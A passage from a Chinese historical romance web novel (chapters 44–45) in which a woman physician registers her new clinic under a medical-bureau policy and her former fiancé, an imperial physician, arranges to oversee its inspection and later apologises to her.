窦志杰若有所思地抬起头,目光抬远,顺着李璟望去的方向投去视线。 那似是朝西北的方向,正是……照隅堂的位置—— 作者有话说:白芷:家人们,没人要的王八香囊终于卖出去了! 吴明:哦耶!今天又赚钱了! 第44章 四月三十,天晴领医馆核查之责 四月三十,天晴。 正是春夏交替时节,可见望仙桥头,那株桃花树上新叶蓁蓁,愈发葱茏。 暖阳洒在青石板路上,镀上一层淡金色的光,街市人流如织,一派生机。 照隅堂开张已逾半月,按新颁的官册医馆名录遴选章程,照隅堂已具备了参与官册评定的资格,一应的备案文书和报名材料需得在今日之内呈交。 故而,孟玉桐今日未在照隅堂坐馆,她一早便携了白芷,前往医官院递交材料文书。 照隅堂内,吴明正伏案清算着这半月来的流水账目,他手中算盘珠子拨得噼啪作响,脸上难掩喜色。 案上的照隅堂半月营收简录墨迹清晰: 安神香囊:售出三百九十八只,得钱三十七两九钱整。 诊金药费:孙氏后续调理(一千文)、头痛脑热等零星看诊售药(约八两余)。 共计:约四十六两银。 照隅堂才刚刚起步,吴明从前心中一直惴惴不安,生怕要赔钱。如今看来,医馆有这般光景,已是相当不错,也远超他当初的预估了。 说来此番还要多亏孟玉桐聪敏,想出以安神香囊扬名的法子,前期她遣白芷将香囊四处相送时,他只觉得肉疼不已。如今看来,这医馆经营一道,还是孟玉桐有主意。 自那日纪夫人豪气包圆五十只香囊,后又兼李璟那群狐朋狗友捧场,这安神香囊的名声竟在临安城贵人圈子里悄然传开。 随后几日,不乏衣着锦绣的公子小姐专程寻来购买。 白芷与桂嬷嬷日夜赶工,几乎是出一只卖一只,半月间竟售出近四百只!且售出的大多都是那贵价的香囊。 香囊带来的不仅是银钱,更是源源不断的人气。 许多冲着香囊来的客人,偶有小恙便也顺道在此看了。 一来二去,桃花街上有家新开的照隅堂,坐馆的年轻女大夫,医术精妙,药到病除的口碑,便悄然散开。 这消息自然也传到了御街。 御街,太庙对面x,济世堂。 朱漆金字的招牌下,可见堂内一角,须发皆白的老大夫沈昺正凝神为一位面色萎黄的中年男子诊脉。 男子不时以指按压太阳穴,面露痛苦。 “头风之症,痛在两侧,如锥如刺,可伴有耳鸣、口苦?” 沈昺声音沉缓,引经据典,“《伤寒论》有云:‘少阳之为病,口苦,咽干,目眩也。’观汝脉象弦紧,舌苔薄黄,此乃少阳风火上扰清窍所致。” “是极是极!口也苦,咽也干,先生说得一点不错!”病人连连点头。 角落里,只见一个二十来岁的年轻人,穿着一身利落的暗灰色短打,正百无聊赖地挑拣着药材。 他闻言撇了撇嘴,忍不住插一句:“这不就是偏头风嘛。我二舅姥爷年年犯,灌一碗‘川芎茶调散’下去,立马好利索。” 沈昺眉头紧锁,颇为不悦地瞥了那年轻人一眼,挥了挥手,语气带着不耐烦:“东家,今日是医官院官册名录报备的截止之期,此等正事要紧,莫在此处耽搁。” 这位老大夫沈昺,乃是早年从医官院致仕的杏林耆宿,医术精湛,尤擅经方。 可惜染上搜罗珍禽异鸟的癖好,积蓄散尽,晚年只得应工部侍郎之邀,在济世堂坐馆,赚些养老钱。 他看病极重章法,字字句句必引典籍,奉《内经》《伤寒》为圭臬,开方用药一丝不苟,最厌旁人妄加置喙。 而那灰衣年轻人,正是工部侍郎之子,济世堂的少东家宋寅深。 他自幼不好读书,好医术,更信药到才能病除的实效。他觉得沈昺这般引经据典、慢条斯理的看病模式,纯属“掉书袋”显摆,瞎耽误工夫。 在他眼里,能治好病的方子就是好方子,管它到底出自《千金方》还是乡野偏方? 沈昺则视宋寅深为离经叛道,开方用药如同儿戏,每每见他兴致一起,便琢磨些稀奇古怪的配伍,总惹得沈昺心惊肉跳,不得不苦口婆心逐一驳斥。 两人理念相悖,互相看不顺眼已久。 “早让阿春去了!算时辰该回来了!”宋寅深话音未落,便见伙计阿春脚步轻快地跨进门槛。他立刻撇下沈昺和病人,迎上前去:“如何?可办妥了?” 阿春抹了把汗,忙道:“东家放心,文书都递上去了,没出岔子。医官院的人说,过些日子会指派专人与咱们对接,往后每隔一阵子,还得去院里头‘述职’,跟别的医馆大夫聚在一处,说说看诊心得、疑难杂症啥的。” “啧,麻烦!”宋寅深一脸嫌弃,“医官院就爱整这些虚头巴脑的规矩,平白耽误多少工夫!幸亏我当初没考上!” 沈昺‘嘶’了一声,他这毛头小儿,他当初没考上医官院是他不想么? 没通过医官院的考试也就罢了,连那医籍考核也是年年不过,他爹也是没有法子,这才请了他来此坐馆。 这小儿,如今倒是在这儿贬起医官院来了,真是贻笑大方。 “东家您可不知道,”阿春喝了口水,忙同他说起自己今日的见闻,“自打这新政下来,城里新冒头的医馆可海了去了!连桃花街那等二流地界,都杵起来一个叫什么‘照隅堂’的。小的今儿去交文书,还瞧见个女大夫也在报名,就是那照隅堂的孟掌柜!” “照隅堂?我知道啊!”正在候诊的那位头痛病人闻言,竟从腰间解下一只杏黄色的香囊,接口道:“我家娘子前几日特意去桃花街买的,说是什么安神香囊,好用得很!我这几天枕着它睡,别说,头都似乎没那么紧巴巴的了!” 沈昺眉头一皱,伸手接过那香囊。 他先是仔细端详其针脚绣工,继而凑到鼻下,闭目深深一嗅。 柏子仁、合欢花、陈皮……几味安神主药的气味清晰可辨,但其中似乎还糅杂着一两味难以捉摸的、带着清冽微辛的草木气息……这配伍,倒是少见。 他心中掠过一丝讶异,面上却不动声色,只将香囊递还,微微摇头,语气带着老派医者的矜持与一丝轻视:“香气尚可,配伍却显驳杂,恐是误打误撞,恰对了失眠之症罢了。行医用药,根基不牢,终非正道。” 宋寅深也凑过来,两根手指拈起那香囊,翻来覆去看了看,嗤笑一声,满脸的不以为然:“嗤!花里胡哨,功夫都用在绣花上了,里头能有什么真章?妇道人家见识,也就懂些取巧卖乖的门道,能撑几日?” 一个质疑其根基章法,一个鄙夷花巧取宠。 在这位年轻女同行身上,这两位素来不对盘的人竟难得地达成了一致:这桃花街上的照隅堂,不过是个徒有其表的花架子,迟早关门大吉! * 酉时初刻,桃花街。 孟玉桐与白芷自医官院折返照隅堂时,天光已渐渐收拢,天边残留着一抹淡淡的橘红霞色。 踏入堂内,只见吴明一人守着。他见二人归来,忙迎上前询问:“当家的,白芷,报名事宜可还顺遂?” 孟玉桐将手中文书置于案上,神色从容:“所需文书皆已齐备,医馆开张已逾十五日,诊治病患超五十之数,资质亦符。 “医官院的医官核验后,言明无碍,只待后续安排。过几日,便会分派专责医官,核验我馆每月诊治人数、售药数目是否属实。另则,”她顿了顿,补充道,“入选官册的医馆,可定期领取医官院拨发的免费官药。” “这倒是个实打实的好处,看来医官院的医官们倒是些做实事的,”吴明双手抱胸,似想起什么,忽地压低声音,凑近白芷,带着几分促狭:“白芷,我听闻当家的那位‘旧日姻缘’,如今不也在医官院当差?你说……到时候会不会就把他分派来管咱们照隅堂?” 他越想越觉有趣,嘴角忍不住咧开,“若真如此,那可有得瞧了!也不知那位纪医官,念及旧情,会不会给咱们行些方便?” 说起纪昀,医馆尚未开张之时,他便知道这位医官曾来过照隅堂送医牌。 那时他正在二层洗浴,哼着小调走出围廊正想收取一件干巾,远远瞧见纪昀与孟玉桐立在楼下小院里。 他约莫还遥遥听见那位医官问了一句,关于当家的退婚的事。他一下便来了精神,停下小调,探出身子,想看看两人之间是一场如何的爱恨纠葛。 可惜后头并未看见他想看的,两人不知说了些什么,后来竟双双坐下喝起饮子了。 如此看呐,这两人之间,可有段故事,也不知往后能不能再续上…… 他兀自想着,冷不防被白芷一记肘击怼在肋下。 “休得胡言!”白芷横了他一眼,正色道,“分派哪位医官自有章程,岂会那般凑巧?咱们照隅堂堂正正行医,病患、用药皆有据可查,谁来核验都一样!” 她顿了一顿,语气带上一丝嫌恶,“只要不是那个惹人厌的李璟便好!” 与此同时,医官院议事厅。 一众身着青绿官袍的医官正襟危坐。 角落里的李璟百无聊赖,正瞌睡得头一点一点,鼻尖忽地一阵微痒,他缩了缩鼻翼,猝不及防打了个响亮的喷嚏,将他从迷糊中震醒。 他揉了揉鼻子,一脸不耐地趴在桌上。 上首,院使朱直正沉声布置:“……御街南段往东这片,辖三家医馆:太庙对面的‘济世堂’,桃花街的‘照隅堂’,南瓦子的‘回春堂’。” 他语速平稳,念及‘照隅堂’时,目光扫过下首垂眸静听的纪昀,见其神色如常无波,便转向众人,“此三馆,何人愿领核查之责?” 照隅堂? 李璟眼皮猛地一跳,瞌睡一扫,忽然精神了许多,瞬间坐直了身子。 那不是孟玉桐那间医馆吗? 他下意识地探身向前,目光迅速环视一周,见无人主动应声,心头也不知闪过些什么念头,清了清嗓子,扬声便道:“院使,此责交由下官吧!” 此言一出,满座皆侧目。 纪昀微不可闻地皱了皱眉。 朱直亦是一愣,李璟在医官院素来是尊惹不起的“泥菩萨”,他心中早有盘算,这等需细致耐心、劳心劳力的实务,压根没把他列入考量。此刻见他竟主动请缨,着实吃了一惊。 “呃……”朱直捻着胡须,飞快权衡。这位世子爷怕是一时兴起图个新鲜,过不了两日便嫌麻烦丢开手,届时再寻人接手便是。 这般想着,他缓缓点头,正欲开口:“那便交由李……” 话音未落,身侧一道清冷平缓的声线淡淡响起,“李医官初涉实务,经验尚缺。此责,还是由下官领受更为x稳妥。” 朱直面色微变,反应却极快,话锋立转,斩钉截铁:“……理所应当交由纪医官负责!” 李璟一噎,一张脸涨红,他试图争辩,“分明是我先……” 朱直却已拍案定音,不容人置喙:“诸馆分派,便依本官方才所言定下!” 他示意陈玢记录,随即转向被分派任务的几位医官,语重心长:“遴选民间医馆入官册,乃我院历时数年方得推行之新政!临安城大,医馆林立,管理殊为不易。 “尤遇疫病横行之时,仅凭我院居中调度,力有未逮。此番择十家良馆入册,分区而治,定期集议,互通有无,遇疑难杂症亦可群策群力,方能最大裨益病患,提升诊治之效。 “此策,于医馆于我院,皆是双赢!诸君务必秉公持正,严加核查,务求名副其实!” 他目光扫过众人,带着一丝庄重:“另则,自今年五月始,至明年五月止,为期一年。诸位须与所辖医馆勤加联络,每月详核其诊治、售药之实据,分毫不差! “更要定期召集各馆主事,开堂授课,讲授常见病症之规范疗法,疑难杂症之应对良策。遇有各馆无法处置之重症奇疾,务必及时呈报本院,集思广益,共谋解法。借此良机,令城中诸馆互通有无,教学相长,此乃病患之福,医道之幸!” 朱直目光炯炯,隐含期待。他年近五旬,任期将尽,只望在这最后一年,为临安百姓,为这杏林行当,真真切切做些实事。 冗长的议事直至暮色深沉方散。 众人鱼贯而出,纪昀正待离去,却被朱直不动声色地拦下。 朱直拈须而笑,眼中带着一丝玩味:“淮之啊,你素日除却精研医术,旁事皆不入眼。今日怎一反常态,主动揽下这医馆的核查之责?莫非……”他故意拖长了调子。 纪昀神色未变,只眼底深处掠过一丝极淡的微澜,声音清冷如常:“新政雏形,乃下官早年所献。今朝得以施行,下官自当躬亲,一则观其效,察其弊;二则若遇阻滞,亦可及时匡正。此乃分内之事,院使多虑了。” 纪昀答得滴水不漏,新政雏形的确是他初入医官院不久便向朱直提出的构想。 朱直心中暗叹,此子绝非外界所传那般,只是个埋首医书的痴儿。 其胸中丘壑,眼界之宏阔,心境之深远,远胜其精湛医术。 这般人物,纵使不涉医道,于他途亦必是惊才绝艳。 他轻‘啧’一声,险些被家伙带偏了思路,忙收敛心神,继续笑道:“淮之啊,你这话虽在理,可方才老夫点其他医馆时,怎不见你出声?偏偏提到那‘照隅堂’,你就接了话茬?” 他促狭地挤挤眼,老脸笑得颇有些为老不尊的意味。 纪昀却已收拾好案头文书,从容起身。 他身姿如修竹临风,步履间自带一股清正疏朗之气,绿色的官袍衬得人如朗月在侧,清风玉树,任谁也瞧不出半分异样心思。 “顺路罢了。”他声音清冷依旧,朝朱直略一颔首,“院使若无他事,下官尚有要务,先行告退。” “诶?淮之……何必如此端谨,你同我说说又能如何……”朱直还欲再言,却见那人步履未停,转眼已消失在门外廊柱的阴影之中,只余一片清寂。 朱直抬手摩挲着下巴,若有所思:也不知这位孟大夫究竟是何方神圣,竟能让他这冷面冷心的得意门生,也难得“顺路”了一回。 纪昀刚步出议事厅不远,绕过长廊拐角,便见李璟环抱双臂,斜倚在朱漆廊柱下,显然已等候多时。 “表兄留步!”李璟见他出来,长腿一伸便拦住了去路,语气带着烦躁与委屈,“今日在堂上,院使分派核查医馆,那照隅堂明明是我先开口要接的差事,表兄为何横插一杠,非要抢了去?” 他最近接连在孟玉桐和纪昀面前吃瘪,胸中那口无名火早已烧得旺盛。 若非眼前之人是他自幼便敬服有加的表兄,依着他平日的性子,方才在议事厅怕是早已掀了桌子。 纪昀待旁人素来是高山冰雪般的疏离淡漠,偏偏李璟觉着他待自己不同。 只因幼时顽劣被父亲罚跪祠堂,跪肿了膝盖,他倔驴似的不吭一声 那时,正是这位看似冷心冷情、与他并无多少亲近的表兄,破天荒地开口替他求情,亲自将他扶起,带回房中默默替他上药。 纪昀那时曾同他说过,“男子汉大丈夫,不该意气用事。” 自那时起,他就喜欢撵在纪昀身后。 可惜纪昀永远很忙。十二岁的少年,便已日日伏案研读浩繁医卷,承受着祖父严苛的医术考校。 李璟每每兴冲冲跑去纪府,十次有九次扑空。 后来纪昀十七岁便以惊才绝艳的医术考入医官院,成了最年轻的医官。 李璟羡慕不已,也吵嚷着要进。 可他是个不学无术的草包,于岐黄之道更是一窍不通。 荣亲王妃溺爱儿子,见他想做“正事”,便花了大笔银子捐了个“掌药奉御”的闲职,将他塞进了医官院。 在医官院中,他依旧喜欢跟着纪昀。 纪昀虽寡言,对他却也偶有关照。久而久之,李璟心中便存了一份旁人难及的亲近与敬重。 纵使外人将他与这位天才表兄相较,将他贬得一文不值,他也浑不在意,甚至甘愿当那衬托明月的黯淡星子。 及至纪家与孟家定亲,李璟是为纪昀鸣不平最甚的一个。 他心中笃定,表兄这般人物,便是九天仙子也配得,怎就屈就了一个平平无奇的商户之女? 也正因如此,当他在茶肆第一次听到纪昀为孟玉桐出言反驳自己时,才格外恼怒,赌气许久未曾登门,满心以为表兄会来向他解释。 孰料,等来的却是今日议事厅上又一次不留情面的截断。 这次,他是真的恼了,也委屈了。 纪昀停下脚步,修眉微蹙,看向李璟的目光带着一丝无奈:“我与孟家婚约已解,前尘往事当如云烟。你堂堂亲王世子,何苦再揪着一个弱女子不放,行那等上不得台面的为难之事?” 李璟闻言,知道他已然是知晓了那些事,脸上血色瞬间褪去几分,急急辩解:“表兄!之前……之前那些事并非我本意!都是郑辉那狗奴才欺上瞒下、阳奉阴违蒙蔽了我!如今我已查清真相,断不会再……我这次主动揽下核查之责,也是想……” “好了。”纪昀打断他,清冷的眸光地投向远处医官院飞檐斗拱的屋脊,暮色为那庄严的轮廓镀上一层沉郁的金边。 他语气沉凝,带着语重心长:“此次新政推行,历经波折方有今日之局。你入医官院亦有二载,行事当知分寸,岂能再凭一时意气,任性妄为?” “表兄,我……”李璟还想分辩,“我之前真不是存心的!这次想揽下那差事也没有别的意思……” “若真有悔过之心,”纪昀倏然收回目光,那双素来沉静的眸子,此刻如浸透了寒泉的墨玉,虽仍是那副清冷模样,却让李璟清晰地感受到一股从未有过的怒意,“你该致歉之人,并非是我。若你依旧执迷不悟,寻他人麻烦,也不要怪我不念旧情。” 言毕,纪昀不再多看他一眼,拂袖转身,很快消失在长廊尽头。 李璟僵在原地,懊恼地抓了抓束发的金冠。 这事儿……他做得是有些不地道。 可叫他堂堂荣亲王世子,拉下脸去向一个女子低头认错? 绝无可能! 这念头刚起,他脑中却猛地闪过纪昀方才那冷冽的眼神,心头又是一阵憋闷。 不对啊!他愤愤地想:怎地表兄又为了她来训斥自己?! 这女人,当真是他命里的冤家克星! 总之他绝对不会去道歉的! 他转头踢了身后的廊柱一脚,脸上一抽,又捂着自己的腿原地蹦了两圈。 好痛、好痛…… 第45章 五月初一,天晴照隅堂对接医官…… 纪府,梧桐院。 夜色清寂,晚风穿廊过户,带起窗下湘妃竹细长的枝叶,摇曳舞动,在青石地上投下斑驳跳跃的竹影。 竹影沙沙声与远处更漏相和,更添几分深庭幽寂。 屋中案前灯影微动,映着纪昀清隽却略显凝重的侧颜。 此刻深夜独处,一片静谧,再回忆起白日里在医官院截下照隅堂核查之责一事,倒没有当时那般坦然了。 他今日直言李璟意气用事,应向孟玉桐道歉,言之凿凿。 然此刻细思,照隅堂开馆首日,他也曾未究其详,便以“虚言恫吓,以牟财利”冷然斥责于她。 纵然她当日所为确有不妥之处,他居高临下的断言,又何尝不失之偏颇? 这半x月来,医官院新政细则制定千头万绪,他分身乏术,已许久未曾踏足桃花街。 然偶得闲暇之时,心中却总想起那日她立于堂前,眸光清亮、言辞锋锐、寸步不让的模样。 或许……需要致歉的,不止是李璟? 李璟对她步步紧逼,其中难保没有几分因他而起的迁怒。而他放任李璟此般行事,亦有失察之责。 心绪微乱之际,门外忽响起轻叩,青书的声音传来:“公子,夫人来了。” 纪昀微怔,眼中掠过一丝讶然。母亲怎会来他屋中?他起身相迎。 李婉款步而入,见儿子起身,面上掠过一丝不甚自然的神色,温声道:“坐着吧,不必拘礼。听闻你近日公务繁冗,特来看看。” 她嗓音一贯清泠,今夜却似掺入了几分柔和。 纪昀依言落座。李婉则在他不远处的临窗矮榻上坐下,姿态端雅依旧,眉宇间那份常年笼罩的疏离淡漠,却仿佛被屋中灯影柔化了几分。 母子二人相对,一时竟无人言语。 唯有夜风穿堂,拂动烛火,在静谧中投下明明灭灭的光影。 支摘窗大敞,窗外那丛湘妃竹在月色下舒展着身姿,翠叶婆娑,如碧浪轻涌,竹影珊珊,映上窗棂,也落在李婉素净的衣袂上。 她目光落在摇曳的竹影上,良久,轻轻一叹:“这丛湘妃竹……你照料得极好。” 纪昀亦随之侧首,目光投向那片幽篁,薄唇微抿,未置一词。 “昀儿,”李婉忽然抬眸,那双惯常清冷的眸子此刻清晰地映着烛光,也映着几分深藏的愧意,冲淡了往日的疏离,显露出几分柔软,“这些年……你可怨过母亲?” 纪昀身形微不可闻一顿,缓缓摇头,清冷的声线里亦有波澜:“是儿子当年顽劣,儿子从未怨过母亲。这些年,家中没有人过得容易。” 李婉望着儿子愈发肖似他的眉眼,唇边绽开一抹带着唏嘘的笑意:“母亲早该同你说这些了。当年那场祸事,错本不在你,是为娘自己……一直过不去心里那道坎,只想着逃避,将自己关起来,以为不去面对,便能当作无事发生。” 她顿了顿,声音放低了些,“直到前些日子,一场大梦初醒,方知愚钝。惜取眼前人,惜取眼前事,过好当下的日子,才是正经。我们一家子……实在不该将日子过成这般模样。” 纪昀倏然抬眸,墨玉般的眸底掠过一丝极细的涟漪。搭在案几上的修长手指,悄然收紧了几分。 “母亲……”他喉间微动,只唤出这一声。 李婉用绢帕轻轻按了按微润的眼角,转而问道:“上回给你的那只安神香囊,可还合用?这几日睡得可安稳些?” “嗯,”纪昀颔首,声音恢复平稳,“多谢母亲挂心,近日睡得很好。” 李婉细细打量儿子,见他眉宇间的倦色确然消减不少,精神也显得清朗,便顺势道:“那香囊便是出自玉桐在桃花街开的照隅堂。那孩子将医馆打理得颇有些气象。 “听闻你们医官院正在推行新政,她也参与其中。我与她颇为投缘,你平日里若得空,便替我多照拂一二。” 提及孟玉桐,他又想起父亲遣人散播的那个匪夷所思的流言。 他心中疑惑更深。若说纪明感念孟玉桐救命之恩,对她维护有加,尚在情理之中。 可父亲与母亲他们因何也对她如此回护? “母亲,”纪昀斟酌着开口,清冷的眸光直视李婉,“儿子有一事不明。此前纪孟两家退婚,外界所传乃是孟家姑娘未曾……相中纪家。后来儿子着人稍作探查,竟发觉此消息源头似是父亲授意?” 他顿了顿,眉宇间困惑明显,“儿子不解其意。” 李婉闻言,微微一滞。上回纪宏业拍着胸脯说此事交由他办,让她放心,这便是他办的事?竟被昀儿查了出来? 但转念一想,昀儿素来只醉心医道与公务,对旁事漠不关心,当初定下婚事时也未曾过问半句。 如今竟肯分出心神去探查一则流言……她心中蓦地一动,看向儿子的目光便带上了几分深意。 她面上不动声色,故作深沉地点点头:“此事说来也是感念孟家通情达理。虽是孟家主动退亲,却也显出是为我纪家考量。 “你父亲与我皆感念这份情谊。你父亲便言,若按实情传出,怕对孟姑娘清誉有损。不如……将话头引向孟家眼光高些,听着倒像是我们纪家有何不足,于她名声更为相宜。” 她将纪宏业的“歪理”说得颇为堂皇。 纪昀默然,这番牵强的说辞,着实令他有些无言以对。 见夜色已深,李婉不再多留,嘱咐他早些安歇,便起身离去。 青书将人送走后,又折返回来,静立在纪昀身后几步远处,低声禀报:“公子,您上回吩咐小的遣人去江陵探查孟老太太底细一事,现已有些眉目了。” 纪昀从纷乱的思绪中稍稍回神,只微微颔首,示意他继续。 青书道:“据查,孟老太太闺名江云裳,确系江陵绸缎巨贾江家的后人。传闻其年轻时便不囿于闺阁,常随家中长辈外出经营,走南闯北,阅历极丰,不仅于商事上手腕玲珑,更练就了一身不俗的医术,兼通些拳脚功夫,性子爽利果决。当年在江陵商界,颇有声名,人送外号——‘胭脂虎’。” 纪昀眸中闪过一丝讶色,他转过身,看向青书:“可是那个曾因进贡的云锦被查出浸染奇毒,致使太妃中毒昏迷,而后满门获罪、几近倾覆的江陵江家?” 心中虽隐约猜到孟老夫人来历不凡,却未料到竟牵扯到这样一桩轰动一时的陈年旧案。 青书神色一肃,点头道:“正是。当年那桩‘云锦投毒案’,由荣亲王亲自督办,闹得满城风雨,人心惶惶。然稽查月余,竟迟迟未能找到真凭实据。其间,老太爷也曾因旧日情谊,数次入宫恳求圣上明察,并向太妃陈情。 “后来,似是因太妃娘娘念及江家往年进献之功,加之确实证据不足,最终法外施恩,赦免了江家全族之罪。但江家经此打击,声名扫地,产业凋零,也就此逐渐淡出了人们的视线。” 他顿了顿,补充道:“此案当年内情似乎极为复杂,许多细节仿佛被人刻意掩盖,小的所能查探到的,也仅是这些浮于水面的大致脉络。” 青书略作停顿,又抛出一则更为惊人的消息:“还有一事……据江陵旧人相传,孟老夫人年少在江陵时,便与我家老太爷相识。二人……似是有一段青梅竹马的情谊。” 纪昀倏然抬眸,孟老夫人与祖父,竟早在江陵便相识?他们之间究竟是何关系?是这层关系,促使她与祖父定下了自己与孟玉桐的婚约? 他心头一时间绕上团团疑云。 青书禀报完毕,见纪昀陷入沉思,便识趣地躬身行礼,悄然退出了书房,轻轻掩上门扉。 纪昀重新坐回案前,心绪却比先前更为纷乱。 案前静坐半晌,他疲惫地揉了揉眉心,罢了,他似乎对她的事情太过关注了些…… 他将思绪投回其他事情上,他想起自己已经有些时日没去济安堂了,便铺开一张素白宣纸,本欲提笔写下几味济安堂常用的药材名目,明日好从医官院支取带去。 笔尖蘸墨,悬于纸面。 心神恍惚间,一滴浓墨猝然坠落,“啪”地一声在洁白的宣纸上晕开一团黑。 他下意识地提笔,竟鬼使神差般,就着那团墨迹,笔锋左右延展勾勒,手腕无意识地游走。 墨线流转,不似写字,倒似作画。 待他蓦然回神,垂眸望去,只见雪白纸面上,赫然呈现出一双女子的眼眸。 乌黑的瞳仁明丽如点漆,眼型流畅优美,眼尾微微上挑,勾勒出几分惊心动魄的灵韵。 那双眸子仿佛穿透纸背,静静地凝睇着他。 眸中光影流转,似蕴着倾慕温婉,又似藏着无尽缱绻,凝望他的神态,熟稔亲昵得如同凝视着至亲至近之人。 纪昀腕间一颤,笔尖饱蘸的墨汁再次滴落,不偏不倚,正点在那画中眼角处。墨色迅速洇开,宛如一滴泪珠。 心口毫无预兆地传来一阵尖锐的刺痛,他指尖一松,紫毫笔“啪嗒”一声跌落案几,溅开数点墨痕。 纪昀倏然起身,带得椅凳轻响。 他一把将那张画着眼眸的宣纸翻扣过去,疾步走到洞开的支摘窗前。 夜风带着凉意扑面而来,却吹不散心头那团骤然升起的燥郁与惊悸。 他抬手x按住隐隐作痛的额角,眉心紧锁。 自己近来究竟是怎么了? * 五月初一,天晴。 晨光熹微,金线般穿过照隅堂后院那株老柿树繁茂的新叶,在青石地上筛下细碎的光斑。 微风过处,绿叶沙沙,与檐下悬挂的药草一同轻曳。 后院一角,依着新砌的药房墙壁,辟出了一小方难得的阴翳之地,日光难及,湿气微凝,正是培育喜阴药材的佳所。 孟玉桐俯身,将新采藿香小心铺陈在竹匾上晾晒,院子里是淡淡的清新的药草香。 望着那块阴凉的空地,她忽然想到什么。 她记得,就在这一年的隆冬,临安城爆发了一场疫疠。彼时,纪昀身为医官院中坚,日夜殚精竭虑,奔走于疫区与医官院之间,调配方药,救治病患,终因心力交瘁,染上了最烈的那一型疫毒。 医官院研究出的寻常抗疫汤药于他毫无作用。纪老太爷诊视后曾扼腕长叹,提及一味奇药,名唤紫雪参。 此物清热解毒、活血通经,尤其对瘟疫后期“热毒入血、斑疹紫暗”的危重症效验,效力远非寻常清热药可比。 若能得此参,或可救纪昀性命于倒悬。 然此参生于深山人迹罕至的绝险之处,又极难采掘保存,遍寻临安,终是无果。 她翻遍医书无果,只得回孟府求教祖母。祖母忆及年轻时在凤凰山峰顶曾见过紫雪参。 凤凰山山势奇绝,峭壁如削,常年云雾锁腰,紫雪参便生于那等阴湿苔藓密布的危崖之上。 时值严冬,大雪封山。她未同纪家人商议,毅然雇了几名胆大的山民入山。行至半途,连那些惯走险径的汉子也因风雪酷寒而退缩。 唯她,凭着一腔孤勇与刻骨执念,手脚并用,攀冰踏雪,几度濒临绝境,终是登顶,寻到了那峭壁石缝间一小丛珍贵的紫紫色参苗。 采参时脚下冰雪松动,她险些坠入万丈深渊。 归途双腿冻僵麻木,素缎绣鞋早已被嶙峋山石和冰棱割破,浸透血迹,全凭一股非人的意志,才将这救命的药草送到纪府。 目光落回眼前这片辟出的阴湿角落,孟玉桐眸色渐深,心中已有盘算。 待医馆稍得清闲,她必得再赴凤凰山。如今初夏时节,风和日暖,山路不至如寒冬般酷烈,加之有前世记忆指引,寻得那丛紫雪参,当非难事。 她将最后几片草药铺匀,正欲转身回前堂,却见吴明脚步匆匆寻来。 “当家的!”吴明抹了把额角细汗,语速极快,“今晨有医官院的差吏传话,说您昨日递交的报名文书已核验无误。那边为咱们照隅堂分派了对接的医官,请您巳时初刻务必带上馆里的病历诊治明细前往太医局一趟,面见上官,详议后续细则章程与诸般注意事项。” 他眼风扫过孟玉桐身后晾晒的药材,极有眼色地续道:“此乃大事,耽误不得。您快去准备,馆里有我盯着,您放心!” 孟玉桐颔首,转身入内。净手更衣后,她取出蜡丸笔、素纸,并仔细收好照隅堂近期的诊病记录与收支账册,一一纳入随身医箱,背起便出了门。 太医局坐落于御街南段,太庙左近。此衙署专司培养医官人才,乃杏林后进求学之所,常有医官院资深医官至此授课授业。 其建筑规制端方严谨,青砖黛瓦,朱漆廊柱,门前石阶洁净,自有一股庄重肃穆的学府气象。 孟玉桐行至太医局门外,值守官吏见她身背医箱,气度从容,上下打量一番便问道:“可是桃花街照隅堂的孟大夫?” “正是。”孟玉桐微微欠身,“奉召前来面见对接医官。” 官吏面露和色,侧身引路:“请随我来。” 二人穿过庭院,绕过书声琅琅的讲堂,刚下课的学子们正三三两两走出,见一女子背箱入内,皆投来或好奇或探究的目光,行至一处名为“集议堂”的厅室门外。 官吏轻叩门扉,恭敬低唤:“纪医官,照隅堂的孟大夫到了。”语毕,便躬身退下。 “请进。”门内传来一道清冷的熟悉嗓音。 孟玉桐搭在门扇上的手一顿,随即轻轻推开。 只见堂内陈设简雅,一张宽大的乌木长桌横亘中央,配着数把同色官帽椅。 纪昀端坐主位,身着月白常服,身形挺拔清隽。 他面前摊开着一本册籍,正垂眸翻阅。 闻声抬首,视线淡淡扫她一眼。他并未起身,只抬手示意对面座位,声音平淡无澜: “孟大夫请坐。” 孟玉桐将医箱置于桌角,依言在纪昀对面落座。 她的目光不着痕迹地扫过这间肃穆的集议堂,终于明白,原来纪昀就是照隅堂的对接医官。 只是城中大小医馆林立,照隅堂怎就偏偏分到了他手里? 她压下心头那丝微妙的疑虑,唇角弯起一抹浅笑,颔首致意:“纪医官,别来无恙。” 纪昀抬眸看她一眼,将手中翻阅的册籍合拢,推向孟玉桐面前。 “孟大夫,新政推行期间,照隅堂所有核查事宜由我负责。此乃医官院拟定的《医馆核查细则》,你且带回细阅。” 他声音清冷平稳,不带情绪,“往后每月,我会不定期召集所辖三家医馆主事齐聚。一为核验当月诊治记录是否合规,有无虚报;二则借此契机,互通有无。若有疑难杂症,亦可群策群力,共商解法。” “纪医官身兼重任,竟还为这等庶务亲力亲,实令我等小馆受宠若惊。” 孟玉桐口中说着敬语,心中想的却是,他这样的大忙人,怎么也来操劳这等核查小事。 日后由他负责照隅堂的核查事宜,岂不是免不了要与他常常碰面。 她没来由的便想起照隅堂开馆那日,他瞧见自己诊治孙氏的经过,对她所为颇为不满,甚至当头训斥一通。 由此可见,她与纪昀于行医一事上,是不大合得来的。 “新政推行,事无巨细皆关宏旨。我既为策议之人,自当躬身亲为。”纪昀目光沉静,坦然回应。 策议之人……孟玉桐眸光微闪,她虽猜到新政与纪昀有关,却未料他竟是主推之人。 细想这新政构思,确显高明:以入官册之名,整合临安城医馆资源,便于统筹管理;遇大疫流行时,更可迅速集结力量,分区布控,极大提升救治效率。 再看细则推行,医官院不仅分派专人核查,杜绝舞弊,更借此搭建交流平台,于各家医馆亦是裨益良多。 其心系民生,务实肯干,抛开私人纠葛,此人于医道政务上,确有经纬之才。 既然以后由他对接核查一事,她应该早些习惯与他共事相处。 这般想着,她配合地点点头,伸手欲接那册籍。 指尖刚触及书脊,却觉另一端力道未撤。她疑惑抬眸,正对上纪昀望来的视线。 他神色略显僵硬,细看之下,眼睫竟有极细微的轻颤,仿佛在压抑着什么。 “还有一事,”纪昀的声音比方才低了些许,“上次在照隅堂,我未察孙氏受李璟指使,便妄断孟大夫‘虚言恫吓,以牟财利’……所言,的确有失偏颇。” 他这是在道歉? 倒是稀奇。 孟玉桐微微一怔,旋即了然,唇边笑意清浅如常:“纪医官言重了。彼时情急,些许口角,我早已不萦于心。 